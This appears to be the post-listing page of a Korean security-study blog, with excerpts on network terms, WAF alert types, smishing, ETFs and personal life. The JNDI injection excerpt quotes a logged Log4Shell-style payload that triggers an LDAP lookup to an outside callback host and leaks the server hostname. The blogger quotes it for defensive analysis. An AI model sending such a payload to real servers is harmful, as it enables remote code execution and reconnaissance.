티스토리

보안 공부*

검색하기

블로그 홈

보안 공부*

rmagmlwns.tistory.com/m

인생의 매 순간이 최고의 선택이었기를

구독자: 5

방명록 방문하기

주요 글 목록

스미싱 조심합시다 퇴근하고 쉬고 있는데 갑자기 웬 문자가 왔다. 최근에 좀 과속했던 적이 있어서 url이 꺼림찍하긴 했지만 일단 정부24와 경찰청 홈페이지에서 과태료 납부 내역을 조회해봤더니 역시 없다.이 개새끼들 사람 마음 철렁이게 만드네 url 클릭해보니 url만 븅신처럼 만들고 카피 사이트는 진짜처럼 만들어놨다.부모님 세대는 낚일만한 수법이다. url을 바이러스 토탈이나 abuse에 돌렸을 때 유해 url로 조회되지 않는다.스미싱 로직을 모르니 사이트 대충 급조해서 만들고 허물고를 반복하는건지 모르겠다. 얼마나 노력했는지 뜯어보자주석에 뜬금없는 짱깨어가 보인다. 일단 이것만 봤을 땐 설치페이지니까 그럴 수 있다고 생각함 이건 오피셜로 받은 옛날 apk 설치파일이다.스미싱 url에 있는 설치파일이다.일단 용량에서 차.. 공감수 0 댓글수 3 2025. 1. 4.
공부 좀 해#4 한달 간 많은 일이 있었다.이사 준비와 새로운 회사에서의 업무 적응과 자차까지.. 23살에 찍은 증명사진이 마지막이라 새로 찍고 싶어 쉐도우 펌을 받았다.ㅋㅋㅋ 진짜 시발 머리 이따구로 만들고 아무 말 없이 보낸게 더 괘씸함건대 놀러간 김에 미용실 찾다가 백화점이면 잘자르겠지? 하고 갔는데 ㅋㅋ 분노만 잔뜩 쌓임 AS 2번이나 받고도 머리 말릴 때 손질 하루종일 해야 겨우 정돈이 되는 상태를 보고 매우 화가 났지만미룬이 머리 아닌거에 그나마 다행이라고 생각하기로 했다.눈물겨운 after 가현쓰가 예약한 오사이 초밥 가성비 오마카세 goat예약시간 30분이나 지각해버린 가현씨혼자 오마카세가 아니라 쌓여있는 모듬초밥 먹음 옛날집 바이용반지하 바이용수지구청으로 이사갑니다. 반지하 살 때 벌레들이 너무 싫어서.. 공감수 4 댓글수 3 2024. 9. 15.
LLCF / VRRP 원래 용어정리 글에 같이 정리하려다가 내용이 비교적 길어 분리하게 됨 LLCF (Link Loss Carry Forward)L2에서 사용하며, LLCF가 설정된 장비 기준 위, 아래 Link 중 어느 하나가 끊어지면 나머지 하나의 Link도 끊는다.-> 장비의 경로 설정을 변경(Failover)할 수 있도록 해주는 네트워크 기술* failover : 장비에 이상이 생겼을 때 이중화 구성이 되어있는 예비 장비로 자동 전환되는 기술 LLCF 미설정 시 방화벽 상단 스위치와 link down이 발생할 경우, 하단 스위치는 상단 상황을 모르기 때문에 끊긴 link로 통신을 시도하고 통신 장애가 발생한다. LLCF 설정 시 동일하게 상단 스위치에서 Link Down이 발생하면 하단 스위치 Link도 Dow.. 공감수 1 댓글수 0 2024. 9. 14.
용어정리 #2 POE (Power over Ethernet) ● 이더넷 케이블을 통해 데이터와 전력을 동시에 전송할 수 있는 기술● 일반적인 케이블은 데이터 전송만을 위해 사용되지만, PoE를 사용하면 별도의 전원 케이블 없이 네트워크 장치에 전력을 공급할 수 있어 설치가 간편하고 유연성이 높아진다. LACP (Link Aggregation Control Protocol)● 여러 이더넷 링크(포트)를 그룹화하여 한개의 논리적 링크로 만드는 것(2개 포트를 1개처럼 사용하기 때문에 IP 1개를 사용한다.) ● 포트집합 : 여러개의 물리적 포트를 하나의 논리적 링크로 결합해 트래픽 부하 분산 및 대역폭 확장이 가능하다.예시로 1G 포트 4개를 묶어서 4G 대역폭을 만들 수 있다. ● 로드 밸런싱 : 각 포트로 들어오는.. 공감수 0 댓글수 0 2024. 8. 26.
용어 정리 #1 ECM (Enterprise Content Management)● 기업의 모든 콘텐츠를 관리하기 위한 전략적 시스템● ECM은 문서, 이미지, 동영상, 이메일, 웹 콘텐츠 등 다양한 유형의 디지털 콘텐츠를 중앙에서 효율적으로 저장, 관리, 검색, 배포, 보안, 유지보수할 수 있도록 돕는 시스템이다.● ECM 시스템은 주로 큰 기업에서 효율적으로 대량의 문서와 데이터를 관리하고, 규제 준수를 강화하며, 비즈니스 프로세스를 자동화하는 데 사용된다. DWDM (Dense Wavelength Division Multiplexing)● 광섬유 통신에서 사용되는 고속 데이터 전송 기술● DWDM은 하나의 광섬유에서 여러 개의 다른 파장(색)으로 데이터를 동시에 전송할 수 있게 함으로써, 기존 광섬유의 대역.. 공감수 0 댓글수 0 2024. 8. 19.
공부 좀 해#3 공부 좀 해 를 올린지 어연 5개월바뀐거라고는 코인 손절하고 미주로 갈아탄거 ㅋㅋㅋㅋ 공부는? ??? : 때 되면 다~~ 한다~ 건대 놀러갔다가 우연히 재즈 버스킹을 하길래 구경했다.한 10분만 구경하다가 갈려했는데 너무 힐링되서 끝까지 다 봤다 ㅋㅋㅎ역시 music is my life... 오랜만에 채은 가현 조합으로 강남구청에서 뭉티기 슛정말정말 비싸지만 정말정말 맛있었던 뭉티기..번외로 여기 미역국이 진짜 개존맛탱이때 술 좀 많이 마신거 같은데 보안업계 대선배이신 채은선임님 술이 많이 느셨네요회사일 많이 힘드신가요 우연히 1년 이상 경력직 채용 공고를 보고 제출한 서류...애초에 난 8개월따리라 정말 떨어질 염두로 아무 생각 없이 냈는데 덜컥 붙어버렸따얼떨떨한 기분으로 갑자기 면접 D-7 준비하게 .. 공감수 2 댓글수 3 2024. 7. 17.
S&P 500 S&P 500은 미국 주식시장을 대표하는 주가지수다. 이 지수는 미국에서 가장 큰 500개 기업의 주가를 종합해 만든 것이다. 주로 뉴욕증권거래소(NYSE)와 나스닥(NASDAQ)에 상장된 기업들로 구성된다. S&P 500의 주요 특징대표성:S&P 500은 미국 주식시장을 대표하는 지수다. 가장 크고 중요한 500개 기업을 포함하기 때문에, 미국 경제 전체의 상태를 잘 반영한다.다양성:다양한 산업 분야의 기업들로 구성된다. 기술, 금융, 헬스케어, 소비재 등 여러 산업을 포함한다.시가총액 가중:각 기업의 시가총액(주가 x 발행 주식 수)을 기준으로 가중치를 부여한다. 즉, 시가총액이 큰 기업일수록 S&P 500 지수에 더 큰 영향을 미친다. 왜 중요한가?경제 지표:S&P 500은 미국 경제의 전반적인 .. 공감수 0 댓글수 0 2024. 7. 16.
TNA, TMF와의 차이점 TNA ETF는 Direxion Daily Small Cap Bull 3x Shares ETF를 의미한다. 이 ETF는 미국 소형주(Russell 2000 Index) 지수를 3배로 추종하는 레버리지 ETF이다. 쉽게 말해, TNA ETF는 소형주의 가격 움직임을 3배로 증폭시키는 투자 상품이다.주요 특징3배 레버리지:TNA ETF는 Russell 2000 Index의 일일 성과를 3배로 추적한다. 예를 들어, 이 지수가 하루 동안 1% 상승하면 TNA ETF는 3% 상승한다. 반대로 지수가 1% 하락하면 TNA ETF는 3% 하락한다.소형주:Russell 2000 Index는 시가 총액이 작은 2000개의 미국 기업을 포함하고 있다. 소형주는 대형주보다 더 큰 성장 잠재력을 가지지만, 변동성도 더 크다.. 공감수 0 댓글수 0 2024. 7. 16.
TMF란 ? TMF란 Direxion에서 관리하는 레버리지 ETF이다.기초 지수인 ICE BofA Long Treasury Index(미국 20년 이상 만기 국채 지수)의 하루 수익률의 3배를 투자자에게 제공한다. TMF ETF는 20년 이상의 만기 기간을 가진 미국 재무부 채권(Treasury bonds) 시장을 추종하는데, 특히 그 변동성을 3배로 증폭시키는 구조를 가지고 있다. 쉽게 말해, TMF ETF는 장기 재무부 채권의 가격 움직임을 3배로 증폭시키는 투자 상품이다. 주요 특징3배 레버리지:TMF ETF는 장기 재무부 채권 지수의 일일 성과를 3배로 추적한다. 예를 들어, 해당 채권 지수가 하루 동안 1% 상승하면 TMF ETF는 3% 상승한다. 반대로, 채권 지수가 1% 하락하면 TMF ETF는 3% 하.. 공감수 0 댓글수 0 2024. 7. 16.
Option 메소드 Option 메소드에 대해 알아보기 전에 SOP 라는 웹 정책을 먼저 알아야 한다. SOP(Same Origin Policy)란 동일 출처 정책으로, 하나의 Origin에서 불러온 문서, 스크립트가 다른 Origin과 상호작용하는것을 제한하는 정책이다.즉 같은 Origin으로만 요청을 주고 받을 수 있고, 다른 Origin으로의 Read를 제한한다. Origin 기준 : URL의 Protocol, host, port가 일치하는 경우 SOP 없이 다른 Origin 문서와 상호작용이 가능하다면, 악의적인 의도를 가진 사용자가 작성한 스크립트가 정상적인 웹 사이트에서 실행이 가능하게 되어 유저들의 정보가 악의적인 사용자에게 유출될 수 있다. 이러한 문제를 SOP을 통해 다른 Origin문서를 읽지 못하게 막.. 공감수 0 댓글수 0 2024. 7. 13.
로봇 배제 표준 로봇 배제 표준. 1994년 6월 만들어진 로봇 배제 프로토콜은 웹 사이트에 로봇이 접근하는 것을 방지하기 위한 규약으로, 일반적으로 접근 제한에 대한 설명을 robots.txt에 기술한다.이 규약은 권고안이며, 로봇이 robots.txt 파일을 읽고 접근을 중지하는 것을 목적으로 한다. 따라서, 접근 방지 설정을 하였다고 해도, 다른 사람들이 그 파일에 접근할 수 있다. robots.txt 파일은 항상 사이트의 루트 디렉토리에 위치해야 한다. ex) http://www.aaa.com/robots.txt robots.txt 의 파일 구조User-agent: [크롤러 이름 또는 *]Disallow: [접근 제한할 경로]User-agent: 크롤러의 이름을 명시하며, 여기에 지정된 크롤러만 해당 규칙을 적용.. 공감수 0 댓글수 0 2024. 7. 13.
로드밸런싱 고가용성 (수정) 로드밸런서의 주요 기능DSR (Driect Server Return)서버의 응답 결과를 받을 목적지 주소를 L/B과 같은 네트워크 스위치 IP 주소가 아닌, 클라이언트의 IP주소로 전달해서 네트워크 스위치를 거치지 않고 바로 클라이언트를 찾아가는 개념예를 들어, L/B가 양방향 프록시라면 모든 웹서버가 받는 트래픽을 L/B가 받게 된다. DSR은 응답 시 L/B를 거치지 않고 출발지 IP로 바로 응답하게 한다. DSR 기능을 통해 L/B는양방향에서 발생하는 모든 트래픽을 받는 게 아닌, 클라이언트에서 발생한 트래픽만 처리하게 된다.적합한 경우 : 요청 패킷이 적은 케이스 (일반적인 웹 요청, 파일 다운로드)적합하지 않은 경우 : 요청 패킷이 많은 케이스 (파일업로드, SMTP) - 파일 업로드 시에는 L.. 공감수 0 댓글수 0 2024. 6. 18.
넷플릭스 - 삼체 최근에 넷플릭스에 나온 삼체라는 시리즈가 유행하길래 줄거리를 봤더니 코즈믹 호러를 기반으로 한 SF 드라마였다.스포당하기 싫어서 대충 리뷰를 짧게 훑어봤는데 삼체라는 외계인들이 지구를 정복하는거(맞나?) 같다.외계인들의 지적 수준은 양자얽힘을 이해한 수준이라고 하던데 예전에 공부했던 양자얽힘의 특성을 머릿속에서 끄집어내다가 문득 이런 생각이 들었다. '아인슈타인이 특수상대성이론에서 빛보다 빠른건 없다고 했는데, 양자얽힘이 증명됐으니 아인슈타인이 틀린거 아닌가?' 그래서 찾아봤더니 양자얽힘을 잘못 이해하고 있었어서 우선 이 개념부터 바로 잡아보자.약간 말장난처럼 들릴 수 있는데 양자 얽힘은 두 개 이상의 입자가 서로 강하게 상호작용하여 얽힌 상태에 놓이면, 이들 입자가 공간적으로 멀리 떨어져 있어도 서로의.. 공감수 0 댓글수 0 2024. 5. 30.
JNDI 인젝션 특정 고객사 WAF에서 아래와 같은 GET 요청이 탐지되었는데 흔한 Directory Access나 SQL Injection 등이 아닌 조금 생소한 로그가 확인되어 찾아보았다. GET /?x=${jndi:ldap://${:-660}${:-233}.${hostName}.uri.cpbh1r5t4s1er8ongei0f3obhbiij7xxt.oast.fun/a} HTTP/1.1 이 요청은 /?x=... 부분에 잠재적으로 악의적인 페이로드가 포함되어 있다.찾아보니 JNDI 인젝션 공격을 시도하는 것으로 보이며, 이 공격은 서버 측에서 JNDI 룩업을 수행하게 하여 공격자가 제어하는 서버에 연결하려고 시도한다. 이를 통해 원격 코드 실행 등의 악의적인 행동을 수행할 수 있다. 로그 분석에 앞서 JNDI가 뭔지부.. 공감수 0 댓글수 0 2024. 5. 29.
공부 좀 해 #2 공부 좀 해 1을 올린지 어언 3개월...놀랍도록 아무것도 하지 않았지만 근황 슈웃 사실 어디였는지 까먹어버린 벚꽃구경 ㅎ직장인의 삶을 살고부터 나갈려면 엄청난 용기와 노력이 필요하다.E지만 E가 아니게 되어버린 사람..아무튼 올해도 무사히 벚꽃구경 완료 오랜만에 학원에서 친하게 지냈던 사람들과 만나서 술을 마셨다.이 멤버 없었으면 지루해서 학원 어떻게 다녔을까친구에게 들어보니 키트리 곧 망하겠드만;;유종의 미 모의해킹 35기 화이팅~~회사 앞 무신사에서 아이스크림 행사한다고 먹고 오라길래 먹었다.무료로 뿌린다길래 당연히 싼마이 아이스크림 인 줄 알았는데꾸덕-하고 녹진-하이 개맛도리였음;;개인적으로 하겐다즈 근처 직장인들 다 무신사 앞에서 이거 먹고 있었는데 좀 귀여움 ㅋㅋ 불쌍한 우리 도리 6개월 지나.. 공감수 0 댓글수 3 2024. 5. 27.
양자역학 #2 우리가 흔히 말하는 도플갱어는 뭘까? 보통 우리는 도플갱어를 어떻게 정의했는가?나와 똑같은 존재. 마주치면 둘 중 하나는 죽는다. 어디서든 존재할 수 있다. 등등 다양한 조건부가 붙는다.우리는 양자역학을 배우고 왔기 때문에 이 허무맹랑할 것 같았던 도플갱어라는 개념이 이제는 이해가 조금은 가야한다. 즉 도플갱어는 이중슬릿을 동시에 통과해 간선무늬가 나온 파동 도플갱어이다.그러나 관측되어 입자로 붕괴되는 순간 한쪽만 남기고 다 사라진다.전세계 어디서나 확률적으로 존재하는 금희준 중 한국의 금희준을 문병석이 관측하게 되면,일본 독일 영국에 존재하던 파동 금희준은 사라지게 되고 한국의 금희준은 입자로 붕괴되어 입자로써 존재하게 된다. 양자역학은 상대성 이론에 위배된다.양자역학의 반대파인 포돌스키, 로젠, 아인.. 공감수 0 댓글수 1 2024. 4. 4.
양자역학 #1 5억년 버튼 5억년 버튼이 있다. 5억년 버튼을 누르면 아무것도 없는 빈 공간으로 이동해서 5억년을 버텨야 하고, 5억년이 끝나면 다시 현실로 돌아온다. 현실로 돌아올 시 5억년에 대한 기억은 사라지고 버튼을 누름과 동시에 천만원을 지급받는다고 인식한다. 당신은 5억년 버튼을 누를 것 인가? 여기서 양자역학적인 시점으로 흥미로운 가설이 나오는데, 내가 버튼을 눌렀다의 기준이 모호하다는 것 이다. 내 손가락 끝에 있는 전자가 스위치의 버튼에 있는 전자와 반발력으로 서로 밀어낸 것 인데 그럼 날아가는건 누구냐는거다. 나를 어디까지 정의해야 하는가? 내 몸, 내 옷, 어디까지를 나로 정의해야 되는걸까? 결국은 다 입자단위로 구조화되어 결합되어있는 것 뿐인데? 그럼 나를 정의하는게 내 옷까지인가? 신발까지인가?.. 공감수 2 댓글수 1 2024. 4. 4.
공부 좀 해 갓생살기 다짐한지 한달차나는 여전히 병생을 사는 중몸 만든다며 헬스장을 알아보던 나는 여전히 아직 등록도 안했고 집 오면 누워있기 바쁘다.덕분에 몸은 개쓰레기가 됨볼링 세경기 하고 근육통 온게 진짜 ㅋㅋ 정처기가 곧인데 자꾸 머리에서 악마가 속삭인다."야야 엔비디아 CEO가 그랬어. 특이점이 코앞이다. 지금 코딩 공부하는건 의미없다.지금 공부하는 흑두루미 읎제?" 뇌에서는 공부하라고 신호를 보내는데 손에서는 AI가 해결할거라며 무시중그럼 타협을 보자며 뇌에서 먼저 신호를 준다."그럼 AI 공부를 해보는건 어때?"그러자 손이 대답한다."좋아"그리고 구글에 검색한다.AI 관련주.. AI코인.."님아" 자기개발에 미친 나의 친구가 내 목을 졸라서 헬스장과 도서관에 던져놨으면 좋겠다.개목줄 찰 때 가장 열심히 .. 공감수 1 댓글수 4 2024. 2. 29.
정규표현식 #1 정규표현식이란? 특정한 패턴으로 문자열을 표현하는 식이다. 일반적으로 문자열 내 원하는 패턴이나 문자열을 찾거나 치환할 때 사용한다. 이메일 정규 표현식 예 : ^[\w-\.]+@([\w-]+\.)+[\w-]{2,4}$ 위 정규 표현식은 xxx@xxx.xxx 를 매치한다. 정규 표현식은 '패턴' 혹은 /패턴/ 의 형태로 작성한다. /로 패턴을 감쌀 경우 / 뒤에 플래그를 작성할 수 있다. 매치 패턴설명예시 문자 혹은 문자열 해당 문자 혹은 문자열과 매치합니다. dreamhack → Hello dreamhack /c/ → Hello dreamhack . 모든 문자와 매치합니다. d.eamhack → Hello dxeamhack | 앞 또는 뒤의 패턴과 매치합니다. hi|dream → Hello dreamh.. 공감수 0 댓글수 0 2024. 1. 7.
플래핑이란? 같은 MAC 주소를 갖는 포트가 2개 이상이 같은 콜리전 도메인 내에 존재할 때, 네트워크 스위치에서는 이 두 포트 사이에서 활성 및 비활성 상태가 반복되는 현상이 발생하는데 이것을 플래핑(Flapping)이라고 한다. * 충돌 도메인 (Collision Domain) : 서브넷으로 나누어지는 네트워크의 단위로, 브로드캐스트가 1차적으로 전파되는 범위 일반적으로 스위칭 허브 이상의 스위칭이 가능한 장비에서는 BPDU 필터 혹은 BPDU 가드들 설정함으로써 이러한 링크를 원천적으로 차단하는 설정을 할 수가 있다. * BPDU : STP 프로토콜에 의해 브리지, 스위치간 주고받는 제어 프레임 공감수 0 댓글수 0 2023. 12. 29.
Duplex Duplex - 시스템 상호간 통신 시 송.수신이 어떤 형식으로 이루어지는지에 대한 mode이다. simplex - 단방향 통신 , 송신자 = 송신만 / 수신자 = 수신만 하는 형태 Duplex는 쌍방이 송.수신을 지원하는 형태이고 Half Duplex와 Full Duplex로 나뉜다. 예전에 학원에서 네트워크 실습 할 때 항상 스위치에 Full Duplex를 걸어줬던 기억이 있는데, Default로 설정되어 있는 Half Duplex 상태는 반 이중방식이라고 하며 데이터를 송신하는 동안 수신하지 못하는 방식이다. 즉 내가 상대방에게 데이터를 보내고 있으면 상대방이 나에게 보내는 데이터를 받지 못한다. 그래서 Full Duplex 방식으로 전환을 시켜줘야 전 이중방식으로 통신하는 쌍방이 데이터 송신과 동.. 공감수 0 댓글수 1 2023. 12. 9.
X-Forwarded-For(XFF) X-Forwarded-For(XFF) 헤더는 HTTP 요청 헤더 중 하나로, 클라이언트의 IP 주소를 식별하는 데 사용된다.프록시 서버나 로드 밸런서를 사용할 때 클라이언트의 원래 IP 주소를 전달하기 위해 사용된다. 프록시 서버나 로드 밸런서를 거친 경우, 웹 서버는 클라이언트의 실제 IP 주소가 아닌 프록시 서버나 로드 밸런서의 IP 주소를 받게 된다.X-Forwarded-For 헤더는 이런 문제를 해결하기 위해 사용되며, 프록시 서버나 로드 밸런서가 이 헤더를 추가하고 클라이언트의 원래 IP 주소를 전달한다. 웹 서버는 X-Forwarded-For 헤더 값을 사용하여 클라이언트의 실제 IP 주소를 얻을 수 있다. 공감수 0 댓글수 0 2023. 11. 30.
에러코드 정리 1XX: Informational(정보 제공)임시 응답으로 현재 클라이언트의 요청까지는 처리되었으니 계속 진행하라는 의미입니다. HTTP 1.1 버전부터 추가되었습니다.2XX: Success(성공)클라이언트의 요청이 서버에서 성공적으로 처리되었다는 의미입니다.3XX: Redirection(리다이렉션)완전한 처리를 위해서 추가 동작이 필요한 경우입니다. 주로 서버의 주소 또는 요청한 URI의 웹 문서가 이동되었으니 그 주소로 다시 시도하라는 의미입니다.4XX: Client Error(클라이언트 에러)없는 페이지를 요청하는 등 클라이언트의 요청 메시지 내용이 잘못된 경우를 의미합니다.5XX: Server Error(서버 에러)서버 사정으로 메시지 처리에 문제가 발생한 경우입니다. 서버의 부하, DB 처리 과.. 공감수 0 댓글수 1 2023. 11. 30.
Predictable Resource Location Predictable Resource Location는 숨겨진 웹 사이트 콘텐츠와 기능을 찾아내는 데 사용되는 공격 기술이다. 공격자는 무차별 공격을 통해 정보에 기반한 추측으로 공개적으로 볼 수 없는 파일 및 디렉터리 이름을 추측할 수 있다. 파일/경로에는 공통 명명 규칙이 있고 표준 위치에 상주하는 경우가 많기 때문에 파일 이름을 무차별 대입하는 것은 쉽다. 여기에는 임시 파일, 백업 파일, 로그, 관리 사이트 섹션, 구성 파일, 데모 애플리케이션 및 샘플 파일이 포함될 수 있다. 이러한 파일은 웹사이트, 웹 애플리케이션 내부, 데이터베이스 정보, 비밀번호, 컴퓨터 이름, 기타 민감한 영역에 대한 파일 경로 등에 대한 민감한 정보를 공개할 수 있다. 이는 추가적인 사이트 취약성을 초래할 수 있는 사이.. 공감수 0 댓글수 0 2023. 11. 30.
Invalid HTTP HTTP의 규격에서 벗어난 요청이나 응답, 존재하지 않는 웹사이트에 대한 요청 등 비정상적인 트래픽이다. 알 수 없는 웹 서버로 접근을 시도하거나 접속지를 경유, HTTP문법에 맞지 않는 로그를 요청한다. 공감수 0 댓글수 0 2023. 11. 30.
로그 파싱 쿼리 설명 =CONCATENATE(MID(P2, FIND("date=", P2) + 5, 10), " ", MID(P2, FIND("time=", P2) + 5, 8)) 더보기 "date="와 "time="에 나타난 날짜와 시간 정보를 추출하여 결합하는 엑셀 함수입니다. MID(P2, FIND("date=", P2) + 5, 10): 이 부분은 텍스트에서 "date=" 다음의 10자리 날짜를 추출합니다. P2는 원본 텍스트가 있는 셀을 나타내며, FIND("date=", P2)는 "date="가 처음 나타나는 위치를 찾습니다. + 5는 "date=" 문자열의 길이를 고려하여 그 다음 문자부터 추출하도록 합니다. 그리고 10은 날짜의 길이를 나타냅니다. " ": 두 개의 따옴표로 둘러싼 공백 문자입니다. 날짜와 시간.. 공감수 0 댓글수 0 2023. 11. 4.
Abnormally Long Request HTTP 표준에서는 request의 header 길이를 제한하지 않지만 대부분의 웹 서버는 공격 방지를 위해 제한을 둔다. header가 너무 긴 요청이 서버로 전송 시 dos든 데이터 누출이든 공격 위험이 있기 때문이다. 아래는 imperva 공식 사이트의 설명이다. 무슨 뜻 인가요? - 비정상적으로 긴 헤더는 공격자가 웹 서버의 구문 분석 메커니즘을 공격하려고 시도한 결과로, 이러한 긴 문자열을 처리하도록 설계되지 않았을 수 있습니다. 가능한 공격 - 이는 일반적으로 버퍼 오버플로 또는 서비스 거부 공격을 나타냅니다 . 이는 공격자가 웹 서버에서 수행한 부분 유효성 검사를 극복하려고 시도하고 있음을 나타내는 것일 수도 있습니다. 공격 탐지 -이 위반의 단일 인스턴스는 공격자가 비정상적으로 긴 헤더가 .. 공감수 0 댓글수 0 2023. 10. 31.
Extremely Long Parameter (+ header length 공격과 차이점) HTTP 요청의 매개변수 크기가 최대 한도를 초과시키는 공격이다. # 마찬가지로 WAF에서 확인 결과 가비지 데이터가 잔뜩 있다. 아래는 imperva 사이트에 있는 기법에 대한 설명이다. 매개변수는 "이름=값" 문자열 형식으로 HTTP 요청의 일부로 웹 애플리케이션에 전달됩니다. 이름 부분이나 값 부분이 지정된 임계값을 초과하는 경우 SecureSphere는 경고를 생성합니다. 기본적으로 최대값은 4096바이트입니다. 이는 HTTP 프로토콜 유효성 검사 정책에서 사용자 정의할 수 있습니다. 가능한 공격 공격자는 다음 두 가지 목적으로 매우 긴 매개 변수 이름이나 값을 사용합니다. 애플리케이션 모듈이나 웹 서버의 구문 분석 메커니즘에 대한 버퍼 오버플로 공격 입니다 . 일부 보안 메커니즘에 의한 탐지를 .. 공감수 0 댓글수 1 2023. 10. 31.
Header Length Attack (HTTP Overflow) Header Length Attack은 HTTP 요청 헤더의 길이를 조작하여 웹 서버 또는 애플리케이션에 대한 공격을 시도하는 것을 나타낸다. 공격자는 일반적으로 HTTP 요청 헤더의 길이를 변조하거나 증가시켜 웹 서버 또는 웹 애플리케이션에 대한 여러 가지 목적을 달성하려고 시도한다. # WAF에서 확인 결과 맥시멈으로 설정한 헤더 최대 길이보다 응답 데이터 길이가 더 커서 공격시도로 판단됐다. 응답 데이터를 살펴보니 이상한 가비지 데이터가 꽉 채우고 있었다. 피해 서비스 거부 공격 : 과도한 요청 헤더 크기를 만들어 서버가 리소스를 과도하게 사용하게 되고, 이로 인해 서버가 과부하가 걸려 서비스를 거부하거나 중단할 수 있다. 보안 취약점 이용 : 서버에서 발생하는 오류 또는 예외를 유도하려고 시도할 .. 공감수 0 댓글수 0 2023. 10. 31.
FORCEFUL_BROWSING (강제 브라우징) FORCEFUL BROWSING 공격은 웹 응용 프로그램 보안과 관련된 공격 유형 중 하나이다. 이 공격은 공격자가 웹 응용 프로그램의 디렉토리 구조, 파일 시스템 또는 데이터베이스에 접근하려는 시도를 나타낸다. # 다만 WAF장비에서 RAW Data를 확인 결과 별 다른 공격구문은 확인하지 못했다. 아래 글은 OWASP에서 가져온 내용이다. 강제 검색은 애플리케이션에서 참조하지 않지만 여전히 액세스할 수 있는 리소스를 열거하고 액세스하는 것이 목표인 공격입니다. 공격자는 무차별 대입 (Brute Force) 기술을 사용하여 임시 디렉터리 및 파일, 오래된 백업 및 구성 파일 등 도메인 디렉터리에서 연결되지 않은 콘텐츠를 검색할 수 있습니다. 이러한 리소스에는 소스 코드, 자격 증명, 내부 네트워크 주소.. 공감수 0 댓글수 0 2023. 10. 31.

문의안내

티스토리
로그인
고객센터

티스토리는 카카오에서 사랑을 담아 만듭니다.